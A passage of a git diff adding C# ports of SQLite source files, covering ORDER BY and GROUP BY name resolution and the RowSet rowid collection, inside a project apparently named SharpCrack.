pParse; + nc.pSrcList = pSelect.pSrc; + nc.pEList = pEList; + nc.allowAgg = 1; + nc.nErr = 0; + db = pParse.db; + savedSuppErr = db.suppressErr; + db.suppressErr = 1; + rc = sqlite3ResolveExprNames( nc, ref pE ); + db.suppressErr = savedSuppErr; + if ( rc != 0 ) + return 0; + + /* Try to match the ORDER BY expression against an expression + ** in the result set. Return an 1-based index of the matching + ** result-set entry. + */ + for ( i = 0; i < pEList.nExpr; i++ ) + { + if ( sqlite3ExprCompare( pEList.a[i].pExpr, pE ) < 2 ) + { + return i + 1; + } + } + + /* If no match, return 0. */ + return 0; + } + + /* + ** Generate an ORDER BY or GROUP BY term out-of-range error. + */ + static void resolveOutOfRangeError( + Parse pParse, /* The error context into which to write the error */ + string zType, /* "ORDER" or "GROUP" */ + int i, /* The index (1-based) of the term out of range */ + int mx /* Largest permissible value of i */ + ) + { + sqlite3ErrorMsg( pParse, + "%r %s BY term out of range - should be " + + "between 1 and %d", i, zType, mx ); + } + + /* + ** Analyze the ORDER BY clause in a compound SELECT statement. Modify + ** each term of the ORDER BY clause is a constant integer between 1 + ** and N where N is the number of columns in the compound SELECT. + ** + ** ORDER BY terms that are already an integer between 1 and N are + ** unmodified. ORDER BY terms that are integers outside the range of + ** 1 through N generate an error. ORDER BY terms that are expressions + ** are matched against result set expressions of compound SELECT + ** beginning with the left-most SELECT and working toward the right. + ** At the first match, the ORDER BY expression is transformed into + ** the integer column number. + ** + ** Return the number of errors seen. + */ + static int resolveCompoundOrderBy( + Parse pParse, /* Parsing context. Leave error messages here */ + Select pSelect /* The SELECT statement containing the ORDER BY */ + ) + { + int i; + ExprList pOrderBy; + ExprList pEList; + sqlite3 db; + int moreToDo = 1; + + pOrderBy = pSelect.pOrderBy; + if ( pOrderBy == null ) + return 0; + db = pParse.db; +//#if SQLITE_MAX_COLUMN + if ( pOrderBy.nExpr > db.aLimit[SQLITE_LIMIT_COLUMN] ) + { + sqlite3ErrorMsg( pParse, "too many terms in ORDER BY clause" ); + return 1; + } +//#endif + for ( i = 0; i < pOrderBy.nExpr; i++ ) + { + pOrderBy.a[i].done = 0; + } + pSelect.pNext = null; + while ( pSelect.pPrior != null ) + { + pSelect.pPrior.pNext = pSelect; + pSelect = pSelect.pPrior; + } + while ( pSelect != null && moreToDo != 0 ) + { + ExprList_item pItem; + moreToDo = 0; + pEList = pSelect.pEList; + Debug.Assert( pEList != null ); + for ( i = 0; i < pOrderBy.nExpr; i++ )//, pItem++) + { + pItem = pOrderBy.a[i]; + int iCol = -1; + Expr pE, pDup; + if ( pItem.done != 0 ) + continue; + pE = pItem.pExpr; + if ( sqlite3ExprIsInteger( pE, ref iCol ) != 0 ) + { + if ( iCol <= 0 || iCol > pEList.nExpr ) + { + resolveOutOfRangeError( pParse, "ORDER", i + 1, pEList.nExpr ); + return 1; + } + } + else + { + iCol = resolveAsName( pParse, pEList, pE ); + if ( iCol == 0 ) + { + pDup = sqlite3ExprDup( db, pE, 0 ); + ////if ( 0 == db.mallocFailed ) + { + Debug.Assert( pDup != null ); + iCol = resolveOrderByTermToExprList( pParse, pSelect, pDup ); + } + sqlite3ExprDelete( db, ref pDup ); + } + } + if ( iCol > 0 ) + { + CollSeq pColl = pE.pColl; + int flags = pE.flags & EP_ExpCollate; + sqlite3ExprDelete( db, ref pE ); + pItem.pExpr = pE = sqlite3Expr( db, TK_INTEGER, null ); + if ( pE == null ) + return 1; + pE.pColl = pColl; + pE.flags = (u16)( pE.flags | EP_IntValue | flags ); + pE.u.iValue = iCol; + pItem.iCol = (u16)iCol; + pItem.done = 1; + } + else + { + moreToDo = 1; + } + } + pSelect = pSelect.pNext; + } + for ( i = 0; i < pOrderBy.nExpr; i++ ) + { + if ( pOrderBy.a[i].done == 0 ) + { + sqlite3ErrorMsg( pParse, "%r ORDER BY term does not match any " + + "column in the result set", i + 1 ); + return 1; + } + } + return 0; + } + + /* + ** Check every term in the ORDER BY or GROUP BY clause pOrderBy of + ** the SELECT statement pSelect. If any term is reference to a + ** result set expression (as determined by the ExprList.a.iCol field) + ** then convert that term into a copy of the corresponding result set + ** column. + ** + ** If any errors are detected, add an error message to pParse and + ** return non-zero. Return zero if no errors are seen. + */ + static int sqlite3ResolveOrderGroupBy( + Parse pParse, /* Parsing context. Leave error messages here */ + Select pSelect, /* The SELECT statement containing the clause */ + ExprList pOrderBy, /* The ORDER BY or GROUP BY clause to be processed */ + string zType /* "ORDER" or "GROUP" */ + ) + { + int i; + sqlite3 db = pParse.db; + ExprList pEList; + ExprList_item pItem; + + if ( pOrderBy == null /* || pParse.db.mallocFailed != 0 */ ) + return 0; +//#if SQLITE_MAX_COLUMN + if ( pOrderBy.nExpr > db.aLimit[SQLITE_LIMIT_COLUMN] ) + { + sqlite3ErrorMsg( pParse, "too many terms in %s BY clause", zType ); + return 1; + } +//#endif + pEList = pSelect.pEList; + Debug.Assert( pEList != null ); /* sqlite3SelectNew() guarantees this */ + for ( i = 0; i < pOrderBy.nExpr; i++ )//, pItem++) + { + pItem = pOrderBy.a[i]; + if ( pItem.iCol != 0 ) + { + if ( pItem.iCol > pEList.nExpr ) + { + resolveOutOfRangeError( pParse, zType, i + 1, pEList.nExpr ); + return 1; + } + resolveAlias( pParse, pEList, pItem.iCol - 1, pItem.pExpr, zType ); + } + } + return 0; + } + + /* + ** pOrderBy is an ORDER BY or GROUP BY clause in SELECT statement pSelect. + ** The Name context of the SELECT statement is pNC. zType is either + ** "ORDER" or "GROUP" depending on which type of clause pOrderBy is. + ** + ** This routine resolves each term of the clause into an expression. + ** If the order-by term is an integer I between 1 and N (where N is the + ** number of columns in the result set of the SELECT) then the expression + ** in the resolution is a copy of the I-th result-set expression. If + ** the order-by term is an identify that corresponds to the AS-name of + ** a result-set expression, then the term resolves to a copy of the + ** result-set expression. Otherwise, the expression is resolved in + ** the usual way - using sqlite3ResolveExprNames(). + ** + ** This routine returns the number of errors. If errors occur, then + ** an appropriate error message might be left in pParse. (OOM errors + ** excepted.) + */ + static int resolveOrderGroupBy( + NameContext pNC, /* The name context of the SELECT statement */ + Select pSelect, /* The SELECT statement holding pOrderBy */ + ExprList pOrderBy, /* An ORDER BY or GROUP BY clause to resolve */ + string zType /* Either "ORDER" or "GROUP", as appropriate */ + ) + { + int i; /* Loop counter */ + int iCol; /* Column number */ + ExprList_item pItem; /* A term of the ORDER BY clause */ + Parse pParse; /* Parsing context */ + int nResult; /* Number of terms in the result set */ + + if ( pOrderBy == null ) + return 0; + nResult = pSelect.pEList.nExpr; + pParse = pNC.pParse; + for ( i = 0; i < pOrderBy.nExpr; i++ )//, pItem++ ) + { + pItem = pOrderBy.a[i]; + Expr pE = pItem.pExpr; + iCol = resolveAsName( pParse, pSelect.pEList, pE ); + if ( iCol > 0 ) + { + /* If an AS-name match is found, mark this ORDER BY column as being + ** a copy of the iCol-th result-set column. The subsequent call to + ** sqlite3ResolveOrderGroupBy() will convert the expression to a + ** copy of the iCol-th result-set expression. */ + pItem.iCol = (u16)iCol; + continue; + } + if ( sqlite3ExprIsInteger( pE, ref iCol ) != 0 ) + { + /* The ORDER BY term is an integer constant. Again, set the column + ** number so that sqlite3ResolveOrderGroupBy() will convert the + ** order-by term to a copy of the result-set expression */ + if ( iCol < 1 ) + { + resolveOutOfRangeError( pParse, zType, i + 1, nResult ); + return 1; + } + pItem.iCol = (u16)iCol; + continue; + } + + /* Otherwise, treat the ORDER BY term as an ordinary expression */ + pItem.iCol = 0; + if ( sqlite3ResolveExprNames( pNC, ref pE ) != 0 ) + { + return 1; + } + } + return sqlite3ResolveOrderGroupBy( pParse, pSelect, pOrderBy, zType ); + } + + /* + ** Resolve names in the SELECT statement p and all of its descendents. + */ + static int resolveSelectStep( Walker pWalker, Select p ) + { + NameContext pOuterNC; /* Context that contains this SELECT */ + NameContext sNC; /* Name context of this SELECT */ + bool isCompound; /* True if p is a compound select */ + int nCompound; /* Number of compound terms processed so far */ + Parse pParse; /* Parsing context */ + ExprList pEList; /* Result set expression list */ + int i; /* Loop counter */ + ExprList pGroupBy; /* The GROUP BY clause */ + Select pLeftmost; /* Left-most of SELECT of a compound */ + sqlite3 db; /* Database connection */ + + + Debug.Assert( p != null ); + if ( ( p.selFlags & SF_Resolved ) != 0 ) + { + return WRC_Prune; + } + pOuterNC = pWalker.u.pNC; + pParse = pWalker.pParse; + db = pParse.db; + + /* Normally sqlite3SelectExpand() will be called first and will have + ** already expanded this SELECT. However, if this is a subquery within + ** an expression, sqlite3ResolveExprNames() will be called without a + ** prior call to sqlite3SelectExpand(). When that happens, let + ** sqlite3SelectPrep() do all of the processing for this SELECT. + ** sqlite3SelectPrep() will invoke both sqlite3SelectExpand() and + ** this routine in the correct order. + */ + if ( ( p.selFlags & SF_Expanded ) == 0 ) + { + sqlite3SelectPrep( pParse, p, pOuterNC ); + return ( pParse.nErr != 0 /*|| db.mallocFailed != 0 */ ) ? WRC_Abort : WRC_Prune; + } + + isCompound = p.pPrior != null; + nCompound = 0; + pLeftmost = p; + while ( p != null ) + { + Debug.Assert( ( p.selFlags & SF_Expanded ) != 0 ); + Debug.Assert( ( p.selFlags & SF_Resolved ) == 0 ); + p.selFlags |= SF_Resolved; + + /* Resolve the expressions in the LIMIT and OFFSET clauses. These + ** are not allowed to refer to any names, so pass an empty NameContext. + */ + sNC = new NameContext();// memset( &sNC, 0, sizeof( sNC ) ); + sNC.pParse = pParse; + if ( sqlite3ResolveExprNames( sNC, ref p.pLimit ) != 0 || + sqlite3ResolveExprNames( sNC, ref p.pOffset ) != 0 ) + { + return WRC_Abort; + } + + /* Set up the local name-context to pass to sqlite3ResolveExprNames() to + ** resolve the result-set expression list. + */ + sNC.allowAgg = 1; + sNC.pSrcList = p.pSrc; + sNC.pNext = pOuterNC; + + /* Resolve names in the result set. */ + pEList = p.pEList; + Debug.Assert( pEList != null ); + for ( i = 0; i < pEList.nExpr; i++ ) + { + Expr pX = pEList.a[i].pExpr; + if ( sqlite3ResolveExprNames( sNC, ref pX ) != 0 ) + { + return WRC_Abort; + } + } + + /* Recursively resolve names in all subqueries + */ + for ( i = 0; i < p.pSrc.nSrc; i++ ) + { + SrcList_item pItem = p.pSrc.a[i]; + if ( pItem.pSelect != null ) + { + string zSavedContext = pParse.zAuthContext; + if ( pItem.zName != null ) + pParse.zAuthContext = pItem.zName; + sqlite3ResolveSelectNames( pParse, pItem.pSelect, pOuterNC ); + pParse.zAuthContext = zSavedContext; + if ( pParse.nErr != 0 /*|| db.mallocFailed != 0 */ ) + return WRC_Abort; + } + } + + /* If there are no aggregate functions in the result-set, and no GROUP BY + ** expression, do not allow aggregates in any of the other expressions. + */ + Debug.Assert( ( p.selFlags & SF_Aggregate ) == 0 ); + pGroupBy = p.pGroupBy; + if ( pGroupBy != null || sNC.hasAgg != 0 ) + { + p.selFlags |= SF_Aggregate; + } + else + { + sNC.allowAgg = 0; + } + + /* If a HAVING clause is present, then there must be a GROUP BY clause. + */ + if ( p.pHaving != null && pGroupBy == null ) + { + sqlite3ErrorMsg( pParse, "a GROUP BY clause is required before HAVING" ); + return WRC_Abort; + } + + /* Add the expression list to the name-context before parsing the + ** other expressions in the SELECT statement. This is so that + ** expressions in the WHERE clause (etc.) can refer to expressions by + ** aliases in the result set. + ** + ** Minor point: If this is the case, then the expression will be + ** re-evaluated for each reference to it. + */ + sNC.pEList = p.pEList; + if ( sqlite3ResolveExprNames( sNC, ref p.pWhere ) != 0 || + sqlite3ResolveExprNames( sNC, ref p.pHaving ) != 0 + ) + { + return WRC_Abort; + } + + /* The ORDER BY and GROUP BY clauses may not refer to terms in + ** outer queries + */ + sNC.pNext = null; + sNC.allowAgg = 1; + + /* Process the ORDER BY clause for singleton SELECT statements. + ** The ORDER BY clause for compounds SELECT statements is handled + ** below, after all of the result-sets for all of the elements of + ** the compound have been resolved. + */ + if ( !isCompound && resolveOrderGroupBy( sNC, p, p.pOrderBy, "ORDER" ) != 0 ) + { + return WRC_Abort; + } + //if ( db.mallocFailed != 0 ) + //{ + // return WRC_Abort; + //} + + /* Resolve the GROUP BY clause. At the same time, make sure + ** the GROUP BY clause does not contain aggregate functions. + */ + if ( pGroupBy != null ) + { + ExprList_item pItem; + + if ( resolveOrderGroupBy( sNC, p, pGroupBy, "GROUP" ) != 0 /*|| db.mallocFailed != 0 */ ) + { + return WRC_Abort; + } + for ( i = 0; i < pGroupBy.nExpr; i++ )//, pItem++) + { + pItem = pGroupBy.a[i]; + if ( ( pItem.pExpr.flags & EP_Agg ) != 0 )//HasProperty(pItem.pExpr, EP_Agg) ) + { + sqlite3ErrorMsg( pParse, "aggregate functions are not allowed in " + + "the GROUP BY clause" ); + return WRC_Abort; + } + } + } + + /* Advance to the next term of the compound + */ + p = p.pPrior; + nCompound++; + } + + /* Resolve the ORDER BY on a compound SELECT after all terms of + ** the compound have been resolved. + */ + if ( isCompound && resolveCompoundOrderBy( pParse, pLeftmost ) != 0 ) + { + return WRC_Abort; + } + + return WRC_Prune; + } + + /* + ** This routine walks an expression tree and resolves references to + ** table columns and result-set columns. At the same time, do error + ** checking on function usage and set a flag if any aggregate functions + ** are seen. + ** + ** To resolve table columns references we look for nodes (or subtrees) of the + ** form X.Y.Z or Y.Z or just Z where + ** + ** X: The name of a database. Ex: "main" or "temp" or + ** the symbolic name assigned to an ATTACH-ed database. + ** + ** Y: The name of a table in a FROM clause. Or in a trigger + ** one of the special names "old" or "new". + ** + ** Z: The name of a column in table Y. + ** + ** The node at the root of the subtree is modified as follows: + ** + ** Expr.op Changed to TK_COLUMN + ** Expr.pTab Points to the Table object for X.Y + ** Expr.iColumn The column index in X.Y. -1 for the rowid. + ** Expr.iTable The VDBE cursor number for X.Y + ** + ** + ** To resolve result-set references, look for expression nodes of the + ** form Z (with no X and Y prefix) where the Z matches the right-hand + ** size of an AS clause in the result-set of a SELECT. The Z expression + ** is replaced by a copy of the left-hand side of the result-set expression. + ** Table-name and function resolution occurs on the substituted expression + ** tree. For example, in: + ** + ** SELECT a+b AS x, c+d AS y FROM t1 ORDER BY x; + ** + ** The "x" term of the order by is replaced by "a+b" to render: + ** + ** SELECT a+b AS x, c+d AS y FROM t1 ORDER BY a+b; + ** + ** Function calls are checked to make sure that the function is + ** defined and that the correct number of arguments are specified. + ** If the function is an aggregate function, then the pNC.hasAgg is + ** set and the opcode is changed from TK_FUNCTION to TK_AGG_FUNCTION. + ** If an expression contains aggregate functions then the EP_Agg + ** property on the expression is set. + ** + ** An error message is left in pParse if anything is amiss. The number + ** if errors is returned. + */ + static int sqlite3ResolveExprNames( + NameContext pNC, /* Namespace to resolve expressions in. */ + ref Expr pExpr /* The expression to be analyzed. */ + ) + { + u8 savedHasAgg; + Walker w = new Walker(); + + if ( pExpr == null ) + return 0; +#if SQLITE_MAX_EXPR_DEPTH//>0 +{ +Parse pParse = pNC.pParse; +if( sqlite3ExprCheckHeight(pParse, pExpr.nHeight+pNC.pParse.nHeight) ){ +return 1; +} +pParse.nHeight += pExpr.nHeight; +} +#endif + savedHasAgg = pNC.hasAgg; + pNC.hasAgg = 0; + w.xExprCallback = resolveExprStep; + w.xSelectCallback = resolveSelectStep; + w.pParse = pNC.pParse; + w.u.pNC = pNC; + sqlite3WalkExpr( w, ref pExpr ); +#if SQLITE_MAX_EXPR_DEPTH//>0 +pNC.pParse.nHeight -= pExpr.nHeight; +#endif + if ( pNC.nErr > 0 || w.pParse.nErr > 0 ) + { + ExprSetProperty( pExpr, EP_Error ); + } + if ( pNC.hasAgg != 0 ) + { + ExprSetProperty( pExpr, EP_Agg ); + } + else if ( savedHasAgg != 0 ) + { + pNC.hasAgg = 1; + } + return ExprHasProperty( pExpr, EP_Error ) ? 1 : 0; + } + + + /* + ** Resolve all names in all expressions of a SELECT and in all + ** decendents of the SELECT, including compounds off of p.pPrior, + ** subqueries in expressions, and subqueries used as FROM clause + ** terms. + ** + ** See sqlite3ResolveExprNames() for a description of the kinds of + ** transformations that occur. + ** + ** All SELECT statements should have been expanded using + ** sqlite3SelectExpand() prior to invoking this routine. + */ + static void sqlite3ResolveSelectNames( + Parse pParse, /* The parser context */ + Select p, /* The SELECT statement being coded. */ + NameContext pOuterNC /* Name context for parent SELECT statement */ + ) + { + Walker w = new Walker(); + + Debug.Assert( p != null ); + w.xExprCallback = resolveExprStep; + w.xSelectCallback = resolveSelectStep; + w.pParse = pParse; + w.u.pNC = pOuterNC; + sqlite3WalkSelect( w, p ); + } + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/rowset_c.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/rowset_c.cs new file mode 100644 index 0000000..d285097 --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/rowset_c.cs @@ -0,0 +1,519 @@ +using System; +using System.Diagnostics; +using System.Text; + +using i64 = System.Int64; +using u8 = System.Byte; +using u32 = System.UInt32; + +using Pgno = System.UInt32; + +namespace Community.CsharpSqlite +{ + using sqlite3_int64 = System.Int64; + + public partial class Sqlite3 + { + /* + ** 2008 December 3 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** + ** This module implements an object we call a "RowSet". + ** + ** The RowSet object is a collection of rowids. Rowids + ** are inserted into the RowSet in an arbitrary order. Inserts + ** can be intermixed with tests to see if a given rowid has been + ** previously inserted into the RowSet. + ** + ** After all inserts are finished, it is possible to extract the + ** elements of the RowSet in sorted order. Once this extraction + ** process has started, no new elements may be inserted. + ** + ** Hence, the primitive operations for a RowSet are: + ** + ** CREATE + ** INSERT + ** TEST + ** SMALLEST + ** DESTROY + ** + ** The CREATE and DESTROY primitives are the constructor and destructor, + ** obviously. The INSERT primitive adds a new element to the RowSet. + ** TEST checks to see if an element is already in the RowSet. SMALLEST + ** extracts the least value from the RowSet. + ** + ** The INSERT primitive might allocate additional memory. Memory is + ** allocated in chunks so most INSERTs do no allocation. There is an + ** upper bound on the size of allocated memory. No memory is freed + ** until DESTROY. + ** + ** The TEST primitive includes a "batch" number. The TEST primitive + ** will only see elements that were inserted before the last change + ** in the batch number. In other words, if an INSERT occurs between + ** two TESTs where the TESTs have the same batch nubmer, then the + ** value added by the INSERT will not be visible to the second TEST. + ** The initial batch number is zero, so if the very first TEST contains + ** a non-zero batch number, it will see all prior INSERTs. + ** + ** No INSERTs may occurs after a SMALLEST. An assertion will fail if + ** that is attempted. + ** + ** The cost of an INSERT is roughly constant. (Sometime new memory + ** has to be allocated on an INSERT.) The cost of a TEST with a new + ** batch number is O(NlogN) where N is the number of elements in the RowSet. + ** The cost of a TEST using the same batch number is O(logN). The cost + ** of the first SMALLEST is O(NlogN). Second and subsequent SMALLEST + ** primitives are constant time. The cost of DESTROY is O(N). + ** + ** There is an added cost of O(N) when switching between TEST and + ** SMALLEST primitives. + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** SQLITE_SOURCE_ID: 2010-08-23 18:52:01 42537b60566f288167f1b5864a5435986838e3a3 + ** + ************************************************************************* + */ + //#include "sqliteInt.h" + + /* + ** Target size for allocation chunks. + */ + //#define ROWSET_ALLOCATION_SIZE 1024 + const int ROWSET_ALLOCATION_SIZE = 1024; + /* + ** The number of rowset entries per allocation chunk. + */ + //#define ROWSET_ENTRY_PER_CHUNK \ + // ((ROWSET_ALLOCATION_SIZE-8)/sizeof(struct RowSetEntry)) + const int ROWSET_ENTRY_PER_CHUNK = 63; + + /* + ** Each entry in a RowSet is an instance of the following object. + */ + public class RowSetEntry + { + public i64 v; /* ROWID value for this entry */ + public RowSetEntry pRight; /* Right subtree (larger entries) or list */ + public RowSetEntry pLeft; /* Left subtree (smaller entries) */ + }; + + /* + ** Index entries are allocated in large chunks (instances of the + ** following structure) to reduce memory allocation overhead. The + ** chunks are kept on a linked list so that they can be deallocated + ** when the RowSet is destroyed. + */ + public class RowSetChunk + { + public RowSetChunk pNextChunk; /* Next chunk on list of them all */ + public RowSetEntry[] aEntry = new RowSetEntry[ROWSET_ENTRY_PER_CHUNK]; /* Allocated entries */ + }; + + /* + ** A RowSet in an instance of the following structure. + ** + ** A typedef of this structure if found in sqliteInt.h. + */ + public class RowSet + { + public RowSetChunk pChunk; /* List of all chunk allocations */ + public sqlite3 db; /* The database connection */ + public RowSetEntry pEntry; /* /* List of entries using pRight */ + public RowSetEntry pLast; /* Last entry on the pEntry list */ + public RowSetEntry[] pFresh; /* Source of new entry objects */ + public RowSetEntry pTree; /* Binary tree of entries */ + public int nFresh; /* Number of objects on pFresh */ + public bool isSorted; /* True if pEntry is sorted */ + public u8 iBatch; /* Current insert batch */ + + public RowSet( sqlite3 db, int N ) + { + this.pChunk = null; + this.db = db; + this.pEntry = null; + this.pLast = null; + this.pFresh = new RowSetEntry[N]; + this.pTree = null; + this.nFresh = N; + this.isSorted = true; + this.iBatch = 0; + } + }; + + /* + ** Turn bulk memory into a RowSet object. N bytes of memory + ** are available at pSpace. The db pointer is used as a memory context + ** for any subsequent allocations that need to occur. + ** Return a pointer to the new RowSet object. + ** + ** It must be the case that N is sufficient to make a Rowset. If not + ** an assertion fault occurs. + ** + ** If N is larger than the minimum, use the surplus as an initial + ** allocation of entries available to be filled. + */ + static RowSet sqlite3RowSetInit( sqlite3 db, object pSpace, u32 N ) + { + RowSet p = new RowSet( db, (int)N ); + //Debug.Assert(N >= ROUND8(sizeof(*p)) ); + // p = pSpace; + // p.pChunk = 0; + // p.db = db; + // p.pEntry = 0; + // p.pLast = 0; + // p.pTree = 0; + // p.pFresh =(struct RowSetEntry*)(ROUND8(sizeof(*p)) + (char*)p); + // p.nFresh = (u16)((N - ROUND8(sizeof(*p)))/sizeof(struct RowSetEntry)); + // p.isSorted = 1; + // p.iBatch = 0; + return p; + } + + /* + ** Deallocate all chunks from a RowSet. This frees all memory that + ** the RowSet has allocated over its lifetime. This routine is + ** the destructor for the RowSet. + */ + static void sqlite3RowSetClear( RowSet p ) + { + RowSetChunk pChunk, pNextChunk; + for ( pChunk = p.pChunk; pChunk != null; pChunk = pNextChunk ) + { + pNextChunk = pChunk.pNextChunk; + sqlite3DbFree( p.db, ref pChunk ); + } + p.pChunk = null; + p.nFresh = 0; + p.pEntry = null; + p.pLast = null; + p.pTree = null; + p.isSorted = true; + } + + /* + ** Insert a new value into a RowSet. + ** + ** The mallocFailed flag of the database connection is set if a + ** memory allocation fails. + */ + static void sqlite3RowSetInsert( RowSet p, i64 rowid ) + { + RowSetEntry pEntry; /* The new entry */ + RowSetEntry pLast; /* The last prior entry */ + Debug.Assert( p != null ); + if ( p.nFresh == 0 ) + { + RowSetChunk pNew; + pNew = new RowSetChunk();//sqlite3DbMallocRaw(p.db, sizeof(*pNew)); + if ( pNew == null ) + { + return; + } + pNew.pNextChunk = p.pChunk; + p.pChunk = pNew; + p.pFresh = pNew.aEntry; + p.nFresh = ROWSET_ENTRY_PER_CHUNK; + } + p.pFresh[p.pFresh.Length - p.nFresh] = new RowSetEntry(); + pEntry = p.pFresh[p.pFresh.Length - p.nFresh]; + p.nFresh--; + pEntry.v = rowid; + pEntry.pRight = null; + pLast = p.pLast; + if ( pLast != null ) + { + if ( p.isSorted && rowid <= pLast.v ) + { + p.isSorted = false; + } + pLast.pRight = pEntry; + } + else + { + Debug.Assert( p.pEntry == null );/* Fires if INSERT after SMALLEST */ + p.pEntry = pEntry; + } + p.pLast = pEntry; + } + + /* + ** Merge two lists of RowSetEntry objects. Remove duplicates. + ** + ** The input lists are connected via pRight pointers and are + ** assumed to each already be in sorted order. + */ + static RowSetEntry rowSetMerge( + RowSetEntry pA, /* First sorted list to be merged */ + RowSetEntry pB /* Second sorted list to be merged */ + ) + { + RowSetEntry head = new RowSetEntry(); + RowSetEntry pTail; + + pTail = head; + while ( pA != null && pB != null ) + { + Debug.Assert( pA.pRight == null || pA.v <= pA.pRight.v ); + Debug.Assert( pB.pRight == null || pB.v <= pB.pRight.v ); + if ( pA.v < pB.v ) + { + pTail.pRight = pA; + pA = pA.pRight; + pTail = pTail.pRight; + } + else if ( pB.v < pA.v ) + { + pTail.pRight = pB; + pB = pB.pRight; + pTail = pTail.pRight; + } + else + { + pA = pA.pRight; + } + } + if ( pA != null ) + { + Debug.Assert( pA.pRight == null || pA.v <= pA.pRight.v ); + pTail.pRight = pA; + } + else + { + Debug.Assert( pB == null || pB.pRight == null || pB.v <= pB.pRight.v ); + pTail.pRight = pB; + } + return head.pRight; + } + + /* + ** Sort all elements on the pEntry list of the RowSet into ascending order. + */ + static void rowSetSort( RowSet p ) + { + u32 i; + RowSetEntry pEntry; + RowSetEntry[] aBucket = new RowSetEntry[40]; + + Debug.Assert( p.isSorted == false ); + //memset(aBucket, 0, sizeof(aBucket)); + while ( p.pEntry != null ) + { + pEntry = p.pEntry; + p.pEntry = pEntry.pRight; + pEntry.pRight = null; + for ( i = 0; aBucket[i] != null; i++ ) + { + pEntry = rowSetMerge( aBucket[i], pEntry ); + aBucket[i] = null; + } + aBucket[i] = pEntry; + } + pEntry = null; + for ( i = 0; i < aBucket.Length; i++ )//sizeof(aBucket)/sizeof(aBucket[0]) + { + pEntry = rowSetMerge( pEntry, aBucket[i] ); + } + p.pEntry = pEntry; + p.pLast = null; + p.isSorted = true; + } + + /* + ** The input, pIn, is a binary tree (or subtree) of RowSetEntry objects. + ** Convert this tree into a linked list connected by the pRight pointers + ** and return pointers to the first and last elements of the new list. + */ + static void rowSetTreeToList( + RowSetEntry pIn, /* Root of the input tree */ + ref RowSetEntry ppFirst, /* Write head of the output list here */ + ref RowSetEntry ppLast /* Write tail of the output list here */ + ) + { + Debug.Assert( pIn != null ); + if ( pIn.pLeft != null ) + { + RowSetEntry p = new RowSetEntry(); + rowSetTreeToList( pIn.pLeft, ref ppFirst, ref p ); + p.pRight = pIn; + } + else + { + ppFirst = pIn; + } + if ( pIn.pRight != null ) + { + rowSetTreeToList( pIn.pRight, ref pIn.pRight, ref ppLast ); + } + else + { + ppLast = pIn; + } + Debug.Assert( ( ppLast ).pRight == null ); + } + + + /* + ** Convert a sorted list of elements (connected by pRight) into a binary + ** tree with depth of iDepth. A depth of 1 means the tree contains a single + ** node taken from the head of *ppList. A depth of 2 means a tree with + ** three nodes. And so forth. + ** + ** Use as many entries from the input list as required and update the + ** *ppList to point to the unused elements of the list. If the input + ** list contains too few elements, then construct an incomplete tree + ** and leave *ppList set to NULL. + ** + ** Return a pointer to the root of the constructed binary tree. + */ + static RowSetEntry rowSetNDeepTree( + ref RowSetEntry ppList, + int iDepth + ) + { + RowSetEntry p; /* Root of the new tree */ + RowSetEntry pLeft; /* Left subtree */ + if ( ppList == null ) + { + return null; + } + if ( iDepth == 1 ) + { + p = ppList; + ppList = p.pRight; + p.pLeft = p.pRight = null; + return p; + } + pLeft = rowSetNDeepTree( ref ppList, iDepth - 1 ); + p = ppList; + if ( p == null ) + { + return pLeft; + } + p.pLeft = pLeft; + ppList = p.pRight; + p.pRight = rowSetNDeepTree( ref ppList, iDepth - 1 ); + return p; + } + + /* + ** Convert a sorted list of elements into a binary tree. Make the tree + ** as deep as it needs to be in order to contain the entire list. + */ + static RowSetEntry rowSetListToTree( RowSetEntry pList ) + { + int iDepth; /* Depth of the tree so far */ + RowSetEntry p; /* Current tree root */ + RowSetEntry pLeft; /* Left subtree */ + + Debug.Assert( pList != null ); + p = pList; + pList = p.pRight; + p.pLeft = p.pRight = null; + for ( iDepth = 1; pList != null; iDepth++ ) + { + pLeft = p; + p = pList; + pList = p.pRight; + p.pLeft = pLeft; + p.pRight = rowSetNDeepTree( ref pList, iDepth ); + } + return p; + } + + /* + ** Convert the list in p.pEntry into a sorted list if it is not + ** sorted already. If there is a binary tree on p.pTree, then + ** convert it into a list too and merge it into the p.pEntry list. + */ + static void rowSetToList( RowSet p ) + { + if ( !p.isSorted ) + { + rowSetSort( p ); + } + if ( p.pTree != null ) + { + RowSetEntry pHead = new RowSetEntry(); + RowSetEntry pTail = new RowSetEntry(); + rowSetTreeToList( p.pTree, ref pHead, ref pTail ); + p.pTree = null; + p.pEntry = rowSetMerge( p.pEntry, pHead ); + } + } + + /* + ** Extract the smallest element from the RowSet. + ** Write the element into *pRowid. Return 1 on success. Return + ** 0 if the RowSet is already empty. + ** + ** After this routine has been called, the sqlite3RowSetInsert() + ** routine may not be called again. + */ + static int sqlite3RowSetNext( RowSet p, ref i64 pRowid ) + { + rowSetToList( p ); + if ( p.pEntry != null ) + { + pRowid = p.pEntry.v; + p.pEntry = p.pEntry.pRight; + if ( p.pEntry == null ) + { + sqlite3RowSetClear( p ); + } + return 1; + } + else + { + return 0; + } + } + + /* + ** Check to see if element iRowid was inserted into the the rowset as + ** part of any insert batch prior to iBatch. Return 1 or 0. + */ + static int sqlite3RowSetTest( RowSet pRowSet, u8 iBatch, sqlite3_int64 iRowid ) + { + RowSetEntry p; + if ( iBatch != pRowSet.iBatch ) + { + if ( pRowSet.pEntry != null ) + { + rowSetToList( pRowSet ); + pRowSet.pTree = rowSetListToTree( pRowSet.pEntry ); + pRowSet.pEntry = null; + pRowSet.pLast = null; + } + pRowSet.iBatch = iBatch; + } + p = pRowSet.pTree; + while ( p != null ) + { + if ( p.v < iRowid ) + { + p = p.pRight; + } + else if ( p.v > iRowid ) + { + p = p.pLeft; + } + else + { + return 1; + } + } + return 0; + } + + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/select_c.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/select_c.cs new file mode 100644 index 0000000..a56c8f9 --- /dev/null +++ 